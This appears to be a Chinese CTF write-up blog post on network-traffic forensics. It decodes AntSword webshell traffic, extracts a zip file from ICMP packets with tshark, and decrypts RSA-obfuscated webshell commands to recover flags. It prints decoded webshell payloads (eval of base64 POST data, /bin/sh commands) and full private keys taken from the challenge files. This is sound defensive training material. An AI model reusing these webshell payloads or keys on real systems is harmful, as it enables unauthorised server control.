把前后的echo内容:8a90e52a85和6a162ad去掉后,中间的部分就是$output,解码后得到

1
2
3
4
5
6
7
8
9
10
11
./  2023-09-26 19:02:24	158	0755
.. 1970-01-01 08:00:00 0
.user.ini 2023-09-26 15:28:25 46 0644
index.html 2023-09-26 15:28:25 917 0755
404.html 2023-09-26 15:28:25 479 0755
.htaccess 2023-09-26 15:28:25 1 0755
shell.php 2023-09-26 16:26:21 50 0644
flag.txt 2023-09-26 17:18:23 38 0644
IceTea.cap 2023-09-26 19:02:13 0 0644
ezbase 2023-09-26 19:02:24 27864 0777
ICE_TEA.txt 2023-09-26 17:34:51 52 0644

可以看到这个目录结构,里面存了一个flag.txt和ICE_TEA.txt,以及之前存下的elf——ezbase

tcp.stream eq 3:

cmd=%40eval(%40base64_decode(%24_POST%5B'v58ffabfc37579'%5D))%3B注意这里要提取的参数是v58ffabfc37579,找到后,base64解码一下(以下内容只保留关键部分)

1
echo "1f6dc"."d210b5";echo @asenc($output);echo "a52"."ea3d";}ob_start();try{$p=base64_decode(substr($_POST["k275f4d770f3a3"],2));$s=base64_decode(substr($_POST["dd6f4eedea78f3"],2));$envstr=@base64_decode(substr($_POST["gde84aa25ae3d4"],2));

依次解码提到的几个参数,注意substr的截取:

1
2
3
4
5
k275f4d770f3a3: /bin/sh

dd6f4eedea78f3: cd "/www/wwwroot/DAS202310.com";./ezbase e flag.txt IceTea.txt;echo 27d667b0c949;pwd;echo f0e52b6ed

gde84aa25ae3d4截取后是空的

显然dd6f4eedea78f3这个参数内容是执行的shell命令,/ezbase e flag.txt IceTea.txt 这句应该是对flag.txt进行base64换表加密,密文保存在IceTea.txt中。

tcp.stream eq 4:

php代码参数是k59c2ae7730483

1
echo "7db"."35e";echo @asenc($output);echo "f6957c"."a6229b";}ob_start();try{$p=base64_decode(substr($_POST["k275f4d770f3a3"],2));$s=base64_decode(substr($_POST["dd6f4eedea78f3"],2));$envstr=@base64_decode(substr($_POST["gde84aa25ae3d4"],2))

参数解码,注意substr:

1
2
3
4
5
k275f4d770f3a3: /bin/sh

dd6f4eedea78f3: cd "/www/wwwroot/DAS202310.com";cat IceTea.txt;echo 27d667b0c949;pwd;echo f0e52b6ed

gde84aa25ae3d4截取后是空的

“掐头去尾”后,base64 解码,得到输出结果:

1
2
3
reftqRrg4QB9zvZQzwf50xn51CZQxSf51gZPzxj5zhjF1CI75qE=27d667b0c949
/www/wwwroot/DAS202310.com
f0e52b6ed

reftqRrg4QB9zvZQzwf50xn51CZQxSf51gZPzxj5zhjF1CI75qE=就是cat IceTea.txt的输出内容

  • 接下来问题就是reftqRrg4QB9zvZQzwf50xn51CZQxSf51gZPzxj5zhjF1CI75qE=的base64换表解密,丢给cyberchef,表我们早就拿到了

image-20240321162650830

  • flag :DASCTF{Ice_tea_is_not_a_loser_drink!}

很愉快的一次蚁剑流量分析,因此这道题wp也写的挺多的

0x07 [2022DASCTF X SU 三月春季挑战赛]Hi!Hecker!

  • icmp流量分析+git知识,长了一些经验教训。git部分已经失效无法复现,重点掌握icmp数据处理。

  • 很明显可以看到icmp的data里面是有数据的,过滤规则icmp.resp_to只过滤reply包

  • length排序后,发现有600长度的数据包,显然就不正常,发现里面有504b0506是zip尾部,这个时候seq=8,再搜索一下504b0304发现在seq=1的包里,所以整个压缩包文件的传递是从seq=1到seq=8。对应的过滤规则为:icmp.resp_to && icmp.seq<9

image-20240321190745562

  • tshark 按照指定过滤规则提取,并且去除掉开头的重复数据41d88d144
1
tshark -nr "Hi!Hacker.pcapng" -Y 'icmp.resp_to && icmp.seq < 9' -T fields -e "data.data" |sed 's/41d.*beef//g'|sed 's/1337133711333377//g'|tr -d '\n'> 1.txt

sed 一定要同时关注头部和尾部的多余信息,而且可能多余信息包与包之间不同,但是位数一般是一样的,比如这里(借用一下别人的图)头部多余数据是41d88d144...deadbeef这一长串,而且包与包之间这一串也有不相同的部分,这一点要特别注意,可以看见删除之后504b0304这个zip头就出来了;尾部的多余数据很好发现,就是1337133711333377

最好删掉\n,否则下一步容易出问题。你可以先不加,来更好的观察多余数据,但16进制转储的时候最好删掉。

在数据处理的时候一定要细心啊😭

image-20240321203905610

  • 拿到txt之后丢进cyberchef里面,把保存输出为Hecker.zip文件。或者用xxd:cat 1.txt |xxd -r -p >hecker2.zip 。不删换行的话这里cyberchef可能output数据会报错:Data is not a valid byteArray: [80,75,3,4,10,0,0,0,0,…;xxd转储出来的文件也可能会有问题

image-20240321204407639

  • 拿到的zip结构如下:

image-20240321204433444

如果你的多余数据删除的不正确,是无法靠binwalk分离出所有的文件的,亲测会缺斤少两

image-20240321204624460

  • 安装后,直接输入命令

image-20240321205352843

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
0
username: git
usernameSecret: false
privateKeySource:
privateKey: -----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
scope: GLOBAL
id: 1
description: github project sshkeys
1
description:
secret: hint1: hints.eson.ninja
scope: GLOBAL
id: 2
  • 把内容保存为ssh key文件,记得格式问题,我一直尝试删除换行符那些,但还是显示invalid format,我也不知道问题出现在哪里,key的内容我直接复制这个wp中给出来的:https://forum.butian.net/share/1464

  • Ssh-add 把私钥加进去

    image-20240321220602015

  • wireshark 里面tcp的流中有一段显示了他的github地址:Esonhugh/secret_source_code

image-20240321220647814

  • git clone 下来,但是由于过去太久了,出题人应该已经删库了

image-20240321220917415

  • 后续我看别人写的wp,clone下来没什么东西,flag在上一个版本里面,要恢复上一个版本
  • 这题的wp也很少,剩下步骤请查看:

https://forum.butian.net/share/1464

[2022DASCTF X SU 三月春季挑战赛 WriteUp_2022dasctf x su 三月春季挑战赛 web calcatao]-CSDN博客

好难啊😭

关于icmp我长教训了

  • length排序一下,看看有没有特殊的数据包(因为这种数据包的时间顺序(No大小就代表时间顺序)和seq顺序可能不一致,这样会导致一些关键数据错位或者夹杂一些别的数据影响文件提取);
  • 或者在binwalk发现数据内含有压缩包的时候,去查找一下数据包的位置,可以直接搜索504b0304查找zip的头,再搜索504b0506查找一下zip的尾部,一定要确保zip里面的数据完整且顺序正确;
  • 还有一个重要的点是icmp经常会出现头部和尾部出现多余数据的情况,每个包的多余数据要删除掉,要仔细观察多余数据通常位数相同但是不一定完全相同,一定要仔细观察!!!;
  • tshark提取,特别是涉及到这种16进制,一定要记得tr -d '\n'删掉末尾的\n,否则cyberchef的from hex是不能像from base64一样移除不符合规则的字符的

我就是因为没确认zip位置也发现头部和尾部完整的多余数据,导致binwalk分析出现问题,也无法正确解密

0x08 [未解决] ezflow

  • MQTT协议,没见过,wp甚至也只找到两篇,还没怎么看懂,先留着吧

DASCTF X CBCTF 2022| 九月挑战赛官方Write Up | CTF导航 (ctfiot.com)

DASCTF X CBCTF 2022九月挑战赛 WriteUp_dasctfxcbctf无畏者先行-CSDN博客

0x09 [DASCTF X CBCTF 2022九月挑战赛]easy_keyboard

0x10 [NKCTF 2024] Webshell_pro

  • webshell+RSA+base64混淆,webshell经过了混淆和加密
  • 追踪tcp流量,能看到请求包和回复包看起来像是两种不同的base加密

image-20240324134033255

但是我们直接把红色部分丢给cyberchef urldecode之后base64却没有得到有效字符串,蓝色部分也是一样

  • 用basecrack解密OJXW65AK,发现是base32

image-20240324134355557

  • 一共有13个流(0-12),按照这个逻辑先把所有的流中的回复都解密了,重要的信息如下:

    • tcp.stream eq 4的回复看起来像是ls某个目录的结果,里面有一个FLAG
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    Compressed
    Desktop
    Documents
    Downloads
    FLAG
    Music
    Pictures
    Public
    Templates
    Videos
    WSL
    • tcp.stream eq 5的回复,看起来也像是目录里存着的文件,大胆猜测就是FLAG目录
    1
    2
    hint.py
    小明的日记.txt
    • tcp.stream eq 7 是cat 小明的日记.txt的结果
    1
    cat: 小明的日记.txt: No such file or directory
    • tcp.stream eq 8的回复base32解码之后是一串base64编码,再解码得到一个PASSWORD,先存着
    1
    2
    3
    4
    5
    FLAG is NOT HERE!!!!!!!!!!!


    PASSWORD:
    Password-based-encryption
    • tcp.stream eq 9是最重要的,也是需要再经过base64,解码后是一个python文件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    import base64

    import libnum
    from Crypto.PublicKey import RSA

    pubkey = """-----BEGIN PUBLIC KEY-----
    MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
    -----END PUBLIC KEY-----
    """

    prikey = """-----BEGIN PRIVATE KEY-----
    MIICdgIBADANBgkqhkiG9w0BAQEFAASCAmAwggJcAgEAAoGBAIr+q/k/yLFaOgUjavMXra2bqwMWdGwqwaFVIK7FAjG56ExZAua/pM/HJNA958gq5/N9QVpxr9geQhUgLX2iGYTlfvfxO3EZs6CIZ5/hu932xTozjaTy8yUI8mnXCgMUM4WgFCmvhjMfhlNHo+z4c/xUQgkwbm6ItA4vF0p3GLjVAgMBAAECgYBDsqawT5DAUOHRft6oZ+//jsJMTrOFu41ztrKkbPAUqCesh+4R1WXAjY4wnvY1WDCBN5CNLLIo4RPuli2R81HZ4OpZuiHv81sNMccauhrJrioDdbxhxbM7/jQ6M9YajwdNisL5zClXCOs1/y01+9vDiMDk0kX8hiIYlpPKDwjqQQJBAL6Y0fuoJng57GGhdwvN2c656tLDPj9GRi0sfeeMqavRTMz6/qea1LdAuzDhRoS2Wb8ArhOkYns0GMazzc1q428CQQC6sM9OiVR4EV/ewGnBnF+0p3alcYr//Gp1wZ6fKIrFJQpbHTzf27AhKgOJ1qB6A7P/mQS6JvYDPsgrVkPLRnX7AkEAr/xpfyXfB4nsUqWFR3f2UiRmx98RfdlEePeo9YFzNTvX3zkuo9GZ8e8qKNMJiwbYzT0yft59NGeBLQ/eynqUrwJAE6Nxy0Mq/Y5mVVpMRa+babeMBY9SHeeBk22QsBFlt6NT2Y3Tz4CeoH547NEFBJDLKIICO0rJ6kF6cQScERASbQJAZy088sVY6DJtGRLPuysv3NiyfEvikmczCEkDPex4shvFLddwNUlmhzml5pscIie44mBOJ0uX37y+co3q6UoRQg==
    -----END PRIVATE KEY-----
    """

    pubkey = RSA.import_key(pubkey)
    prikey = RSA.import_key(prikey)
    n = pubkey.n

    def enc_replace(base64_str: str):
    base64_str = base64_str.replace("/", "e5Lg^FM5EQYe5!yF&62%V$UG*B*RfQeM")
    base64_str = base64_str.replace("+", "n6&B8G6nE@2tt4UR6h3QBt*5&C&pVu8W")
    return base64_str.replace("=", "JXWUDuLUgwRLKD9fD6&VY2aFeE&r@Ff2")

    def encrypt(plain_text):
    # 私钥加密
    cipher_text = b""
    for i in range(0, len(plain_text), 128):
    part = plain_text[i:i+128]
    enc = libnum.n2s(pow(libnum.s2n(part), prikey.d, n))
    cipher_text += enc
    return enc_replace(base64.b64encode(cipher_text).decode())

    if __name__ == '__main__':
    m = b"-RSA-" * 30
    print(f"原始数据: {m}")

    c = encrypt(m)
    print(f"加密数据: {c}")
    • tcp.stream eq 11看起来是eq 5的目录下多了一个flag.txt
    1
    2
    3
    flag.txt
    hint.py
    小明的日记.txt
    • tcp.stream eq 12 结束:Good Luck! ByeBye~
  • 信息统计完了,我们先搞明白eq 9中的python代码,首先这是一个RSA加密,加密完成之后经过enc_replace函数返回,这个函数是一个简单的base64混淆,将/+=替换成了三种不同的字符串,联想到请求包中无法正常base64解码的数据,结果发现请求也经过了base64混淆,合理猜测,所有的请求都经过这个python代码的加工。

  • 在写解密脚本之前,我们需要先使用tshark把所有的数据提取出来保存到文件中:

1
tshark -nr "webshell_pro.pcapng" -Y 'http.request.method == POST ' -T fields -e "urlencoded-form.value" > webshell.txt
  • 源代码先加密(私钥加密)后base64然后混淆,所以解密脚本需要先解混淆,在base64解码,再rsa解密(公钥解密)。按照这个逻辑,我先手动进行了解混淆,你也可以直接加一个解混淆的函数,我觉得直接解混淆也很方便所以直接手动解了,直接在文本中替换字符串即可。我的解密脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64
import libnum
from Crypto.PublicKey import RSA

# Assuming you have the public key in the PEM format
pubkey = """-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCK/qv5P8ixWjoFI2rzF62tm6sDFnRsKsGhVSCuxQIxuehMWQLmv6TPxyTQPefIKufzfUFaca/YHkIVIC19ohmE5X738TtxGbOgiGef4bvd9sU6M42k8vMlCPJp1woDFDOFoBQpr4YzH4ZTR6Ps+HP8VEIJMG5uiLQOLxdKdxi41QIDAQAB
-----END PUBLIC KEY-----
"""

pubkey = RSA.import_key(pubkey)
n = pubkey.n
def decrypt(cipher_text):
# Decode the base64 string
cipher_text = base64.b64decode(cipher_text)
# print(cipher_text)
# Decrypt using the public key
plain_text = b""
for i in range(0, len(cipher_text), 128):
part = cipher_text[i:i+128]
dec = libnum.s2n(part) ** pubkey.e % pubkey.n
plain_text += libnum.n2s(dec)
return plain_text

if __name__ == '__main__':
with open("/Users/madison/Desktop/webshell.txt") as f:
lines =f.readlines()
for line in lines:
# Decrypt the ciphertext
decrypted_plaintext = decrypt(line)
print(f"Decrypted plaintext: {decrypted_plaintext}")

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
b'whoami'
b'ipconfig'
b'ifconfig'
b'ls /'
b'ls /root'
b'ls /root/FLAG'
b'cd /root/FLAG'
b'cat \xe5\xb0\x8f\xe6\x98\x8e\xe7\x9a\x84\xe6\x97\xa5\xe8\xae\xb0.txt'
b'cd /root/FLAG && base64 \xe5\xb0\x8f\xe6\x98\x8e\xe7\x9a\x84\xe6\x97\xa5\xe8\xae\xb0.txt'
b'cd /root/FLAG && base64 hint.py'
b'echo U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== > /root/FLAG/flag.txt'
b'ls /root/FLAG'
b'echo Good Luck! ByeBye~'

中间那串\x就是小明的日记

注意到:echo U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ== > /root/FLAG/flag.txt

  • 观察打印结果,发现和我们拿到的回复经过base32解码得到的结果是对应的,因此我们的猜测是对的。注意到有一个命令是往flag.txt中写入了一串字符
1
U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ==
  • 到这很兴奋,丢给cyberchef解base64却发现解出来不是flag,只在开头发现了Salted__,很可疑。

image-20240324141601901

  • 经过搜索发现:

Salted__: 这个是通过openssl加密如果不带base64就会出现Salted字段打头。openssl使用的是AES加密。再看base64的前几个字段U2Fsd确定是AES加密无误。

ISCC 2018线上赛 writeup - yongchin - 博客园 (cnblogs.com)

  • 结合我们之前拿到的PASSWORD,应该是在AES中作为key加密的,稍微有点坑,经过尝试,在线网站秒了,但是cyberchef和openssl命令行解密似乎都做不到,cyberchef的密钥长度仅支持16/24/32bytes,但是我们拿到的密钥是25个bytes。最后尝试在线网站,发现直接出了:sweat:

    补一句:后来发现openssl也可以解要加-md5

网址:在线AES加密 | AES解密 - 在线工具 (sojson.com)

image-20240324142427385

  • flag:NKCTF{d0e1183c-07c3-49ea-b048-addbe6cc1b20}

关于这道题,我涨了一点关于openssl的知识:

  • 正常来说,我们直接openssl 通过-pass设置密码,-a设置base64输出,加密flag就会得到U2FsdGVkX开头的base64字符串,解码后是Salted__,无论是CBC还是ECB都会默认加salt,用特定的算法生成密钥;所以用cyberchef或者别的常规AES是无法解密的

  • 使用openssl命令行加解密可以发现,密文和password确定的情况下,salt和key是可以直接得出来的,使用-p打印key和salt,值得一提的是每次加密的salt和key都是不同的

  • image-20240326220900741

  • 这道题显然是openssl,但是我也不知道这个网站到底用的什么mode,改了什么东西,总之得到的密文虽然长度正确,但是直接用openssl解密是失败的,也是挺搞。下次openssl先用在线网站解,,,

    破案了😭:

    image-20240328164722796

  • Title: CTF_MISC流量分析做题记录
  • Author: MADISUN
  • Created at : 2024-03-06 11:39:59
  • Updated at : 2024-08-26 22:53:17
  • Link: https://redefine.ohevan.com/2024/03/06/MISC-流量分析做题记录/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
CTF_MISC流量分析做题记录